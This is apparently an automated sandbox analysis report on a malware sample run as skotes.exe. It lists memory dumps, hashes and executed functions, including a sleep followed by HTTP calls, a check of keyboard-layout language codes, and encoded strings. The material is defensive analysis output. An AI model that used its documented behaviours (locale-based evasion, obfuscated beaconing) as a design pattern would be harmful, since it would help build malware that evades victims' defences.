Associated: 00000003.00000002.2411087469.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411106390.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411124939.0000000000982000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411146041.0000000000989000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411167138.0000000000996000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411188270.00000000009A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411207774.00000000009A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411229414.00000000009B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411247659.00000000009B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411266748.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411284887.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411306697.00000000009C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411327860.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411348270.00000000009D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411368302.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411389069.00000000009DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411409589.00000000009E0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411430277.00000000009E1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411449226.00000000009E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411470923.00000000009EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411491040.00000000009EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411511288.00000000009F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411531192.00000000009F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411551206.00000000009FD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411569752.00000000009FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411590357.0000000000A0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411611991.0000000000A11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411632355.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411652437.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A5E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411727617.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411746101.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7b0000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d91e0fde11a52011bfa57d3adec46408435aa1a71bbcc2b1ad184e05f01a176d
Instruction ID: 6f0bfe59a5ee13b0c0a2953b2bb57e9d05cee56ae90cd006f0868b155c0ccede
Opcode Fuzzy Hash: d91e0fde11a52011bfa57d3adec46408435aa1a71bbcc2b1ad184e05f01a176d
Instruction Fuzzy Hash: AE016D7601020ADBDB08CF45C144A9BF776FF49321F1581AAE8061BB10D7701DD4CB49

Analysis Process: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exePID: 7120, Parent PID: 7112COMMON

Executed Functions

Function 04BD0C65 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2327200412.0000000004BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4bd0000_8SZZEZ7G49OJ4AUNR04YUJXCEXW8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f78c170915b7658a66738e4bde1367b86927ee51d9a2171dc6b6f95ee5fe970
Instruction ID: 93f811709bb54ca26ef0cd1c53237fbbc21cb836d74e44d0abf1b3eb68efd5f5
Opcode Fuzzy Hash: 4f78c170915b7658a66738e4bde1367b86927ee51d9a2171dc6b6f95ee5fe970
Instruction Fuzzy Hash: 7E0126DB149210BE9102A2955B111F36B5EBAA737473485E3F447CB742F1A41D89B171

Function 04BD0C47 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2327200412.0000000004BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4bd0000_8SZZEZ7G49OJ4AUNR04YUJXCEXW8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c4277956d40cceda19ee049769eb5befda77d2d6ead72580d3fb0630a0ad351
Instruction ID: 92ca596b8dd2498979c86fb6c55e68e3dea5704e2b5a9719808dd3f0163e4851
Opcode Fuzzy Hash: 5c4277956d40cceda19ee049769eb5befda77d2d6ead72580d3fb0630a0ad351
Instruction Fuzzy Hash: 080124DB249224BE8103B58587601F77B5EBDAB23873485E7B807CB702F6E06D88B170

Function 04BD0C42 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2327200412.0000000004BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4bd0000_8SZZEZ7G49OJ4AUNR04YUJXCEXW8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42130a4f04d6c5b16c90cc075d076936523dce8aec9f756d67183735eaae7ee6
Instruction ID: 67e2d10c654bf02b27c8b413f5929b72ef60d2e6b2391709af602999bb611ff7
Opcode Fuzzy Hash: 42130a4f04d6c5b16c90cc075d076936523dce8aec9f756d67183735eaae7ee6
Instruction Fuzzy Hash: 7B01D4DB249210BE4043B58547105F37A5EB9A723973481E3B807CB702F6E46D88B170

Function 04BD0CA5 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2327200412.0000000004BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4bd0000_8SZZEZ7G49OJ4AUNR04YUJXCEXW8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f7f33ed965eea7e4adff83bc977f06a5b1a5cdac5896676edb320075f2bd940
Instruction ID: 68af9a631dc6a629f64ab83a46acfbc22b681e7d44d10a09d27b1d8854a27e79
Opcode Fuzzy Hash: 8f7f33ed965eea7e4adff83bc977f06a5b1a5cdac5896676edb320075f2bd940
Instruction Fuzzy Hash: 57F078CB10D124BED103B09557682F22E0EE59723973840D7F803CF642F5967A8AB1B0

Function 04BD0CFA Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2327200412.0000000004BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4bd0000_8SZZEZ7G49OJ4AUNR04YUJXCEXW8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8168de8e21dc441806e5695bc090759735194a1eae5fe14e87249a6e276dc038
Instruction ID: 4aa821152f6ba034b1d0c1281a77419dd134c0c04c8da7135fc53c519496274a
Opcode Fuzzy Hash: 8168de8e21dc441806e5695bc090759735194a1eae5fe14e87249a6e276dc038
Instruction Fuzzy Hash: 7AF09ECB349010AE8542B09AA3101F25A1FB2C727C33894D3E44BC9A02F5557D86B034

Analysis Process: skotes.exePID: 744, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.7%
Total number of Nodes:	1844
Total number of Limit Nodes:	81

Executed Functions

Function 0098BE30 Relevance: 26.6, APIs: 6, Strings: 9, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 0098BEB8
InternetOpenW.WININET(009D8DC8,00000000,00000000,00000000,00000000), ref: 0098BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0098BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0098BF35
HttpSendRequestA.WININET(?,00000000), ref: 0098BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0098C0A8
InternetCloseHandle.WININET(?), ref: 0098C187
InternetCloseHandle.WININET(?), ref: 0098C18F
InternetCloseHandle.WININET(?), ref: 0098C197

Strings

RmNn, xrefs: 0098D606
invalid stoi argument, xrefs: 0098E4F4
RE1NXF==, xrefs: 0098BF0E
O6f&, xrefs: 0098C9B7, 0098C9BA
O6f&, xrefs: 0098BA04, 0098BE47, 0098C377, 0098CE6B, 0098D5A5, 0098D6FB, 0098DD2F
8HJUeIfzLo==, xrefs: 0098C3CB, 0098C623
8HJUeMD Lq5=, xrefs: 0098C465
stoi argument out of range, xrefs: 0098E4EA
O6f&, xrefs: 0098C951

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$O6f&$O6f&$O6f&$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-3248563472
Opcode ID: f786dc905a725aa5e56a1a0d835c695edf2e754adbc306fdf9b81716e723e00f
Instruction ID: 8096a6fd11c61a639a25b135e7409c8d577fa8a49c77d2dd9ce0c36fb205c426
Opcode Fuzzy Hash: f786dc905a725aa5e56a1a0d835c695edf2e754adbc306fdf9b81716e723e00f
Instruction Fuzzy Hash: AEB1E3B16101189BDF24EF28CC88B9EBB69EF85304F508199F509973D2DB749AC4CFA5

Function 0099D3E2 Relevance: 2.7, Strings: 2, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 009824BE

Strings

O6f&, xrefs: 0099DDBC
O6f&, xrefs: 0099D3F4, 0099DD74

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: O6f&$O6f&
API String ID: 2659868963-2875788327
Opcode ID: 403b4975a0f03f93c54d928ec1211a8921c971dbd69e2bfe1e2a649796915b3b
Instruction ID: 4fba0c276a70b280a711d5ad704ab514ef04405d77f09533b2124ca3179c4213
Opcode Fuzzy Hash: 403b4975a0f03f93c54d928ec1211a8921c971dbd69e2bfe1e2a649796915b3b
Instruction Fuzzy Hash: BB51BEB2D166068BDF15CF98D8C57AEB7F8FB48314F24856AD409EB291D374AD40CB90

Function 00993640 Relevance: 53.3, APIs: 1, Strings: 29, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0099434F

Part of subcall function 00997A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00997AEC
Part of subcall function 00997A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00997AF8
Part of subcall function 00997A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00997B01

Strings

2I0, xrefs: 00995627
5120, xrefs: 00993BAF, 00993C9A
KCWUOl==, xrefs: 00995649
Vmc0, xrefs: 009955D7
WGpm, xrefs: 00993CC9
VXA0, xrefs: 009955AE
VXQ0, xrefs: 0099550A
9250, xrefs: 009954AD
Fw==, xrefs: 0099378E, 00994E1D
9c9aa5, xrefs: 00995619
jS=, xrefs: 00996513
3I3eB==, xrefs: 00994802
WGS0, xrefs: 00995533
O6f&, xrefs: 00991ED7, 00992F24, 00993657, 009943A4, 009947C4, 00994FEB
MGE+, xrefs: 00994866, 009948DD, 00994B85, 00994BFC
aWW0, xrefs: 0099555C
8WI0, xrefs: 00995692
WX f, xrefs: 00993BDE
GE0, xrefs: 00995585
anE0, xrefs: 0099566B
93E0, xrefs: 00995600
MGI+, xrefs: 009948AD, 009949DC, 00994BCC, 00994CFB
9HQ0, xrefs: 009954E1
V2Te, xrefs: 00993EB0
246122658369, xrefs: 00991F95, 009928DE, 00992B33, 00992BA0, 00992F78, 00993463, 009934C4, 0099502A, 0099503D, 0099507F, 00995089, 00995684
stoi argument out of range, xrefs: 00992EF2, 00994359, 00994F9C
invalid stoi argument, xrefs: 00992ED9, 00992EE8, 0099434A, 00994F8D
", xrefs: 00993F89
Hykl, xrefs: 0099387F

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$O6f&$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-3915463021
Opcode ID: 45c0e47592e6e3ab8a2d6b3547607d9f624a44f69d791a4140c3bf30ff53c70d
Instruction ID: 6b86d047953f04a68b4b3693a04aa143d3a20dc4b41cf4b2501c8e03f319792a
Opcode Fuzzy Hash: 45c0e47592e6e3ab8a2d6b3547607d9f624a44f69d791a4140c3bf30ff53c70d
Instruction Fuzzy Hash: 90521871A002489BDF15EF7CCD86BDDBB75AF86300F54858CE445A7282DB359B848B92

Function 00992F10 Relevance: 23.7, APIs: 1, Strings: 12, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

invalid stoi argument, xrefs: 0099434A
WTw=, xrefs: 00992F5E
WX f, xrefs: 00993BDE
5120, xrefs: 00993BAF, 00993C9A
", xrefs: 00993F89
WGpm, xrefs: 00993CC9
O6f&, xrefs: 00992F24, 00993657
V2Te, xrefs: 00993EB0
246122658369, xrefs: 00992F78
stoi argument out of range, xrefs: 00994359
Hykl, xrefs: 0099387F
Fw==, xrefs: 0099378E

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$O6f&$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1519057973
Opcode ID: 4d2fe412d85dc3f82fd225271b9f5f2c9e1afe5d68900da9d656b898e00e73c5
Instruction ID: 3fb023629d1558e6c6bee4ce722336c828c06b37b771a5820990d44197ae5ac9
Opcode Fuzzy Hash: 4d2fe412d85dc3f82fd225271b9f5f2c9e1afe5d68900da9d656b898e00e73c5
Instruction Fuzzy Hash: 9C721A71A002489BDF19EF7CCD86B9DBB75AF86304F54858CE405A73C2DB359B848B92

Function 00985EE0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 0098612B
Keyboard Layout\Preload, xrefs: 00986054
00000419, xrefs: 00986098
00000423, xrefs: 009860FA
00000422, xrefs: 009860C9
O6f&, xrefs: 009859F4, 00985C24, 00985D67, 00985EE6, 0098603B, 009865F7, 009870AC

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$O6f&
API String ID: 0-424533285
Opcode ID: 9d2986c8b0f60f540e0c18ecdf281f64c2d9ae1acf54d955a470b5e9aaf15e68
Instruction ID: ba30d92bce6c3c4831de0013bf31a45cfc65ef801b619f636e3bfd35ed7466eb
Opcode Fuzzy Hash: 9d2986c8b0f60f540e0c18ecdf281f64c2d9ae1acf54d955a470b5e9aaf15e68
Instruction Fuzzy Hash: 83D1AE719002589BDF24EF64CC89BDEB779AB45300F5042D8F508EB2D1DB74AAA8CF95

Function 00987D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00987ED3

Strings

JjsrQV==, xrefs: 00988092
JjssPV==, xrefs: 009881E2
JjsrPl==, xrefs: 0098828A
O6f&, xrefs: 00987D5B
JjssOl==, xrefs: 0098813A

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$O6f&
API String ID: 1721193555-2726259223
Opcode ID: bd921a9e355a32b4b0c4e12cd26093198535ebf298ddf1c42ea72b958d3ebcd5
Instruction ID: 128db1de59f56515c3fdc74be4e22c9805a3bd798beeb5fe47d27cd7cc23ded9
Opcode Fuzzy Hash: bd921a9e355a32b4b0c4e12cd26093198535ebf298ddf1c42ea72b958d3ebcd5
Instruction Fuzzy Hash: EEE13970E142449BCF15BB68CD4B79E7B61AB82720F94429CE415AB3C2DF744F848BD2

Function 00988380 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00988524

Strings

O6f&, xrefs: 009883AB

Memory Dump Source

Source File: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00980000, based on PE: true

Associated: 00000007.00000002.3301040973.0000000000980000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3301270870.00000000009E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302052223.00000000009E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.00000000009EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000B61000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C70000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C79000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3302264831.0000000000C87000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3306909037.0000000000C88000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308209764.0000000000E1B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308421302.0000000000E1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308689326.0000000000E1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.3308914631.0000000000E1E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_980000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: O6f&
API String ID: 1721193555-595543945
Opcode ID: 78626899a5355d54cebd972257c4fe11a62e5b9b35cad6e569e451aebe2f71d0
Instruction ID: 4276208b6eebd16e226543ed4e4b8d25112a3d2dd953a42837e5af71774e2e8d
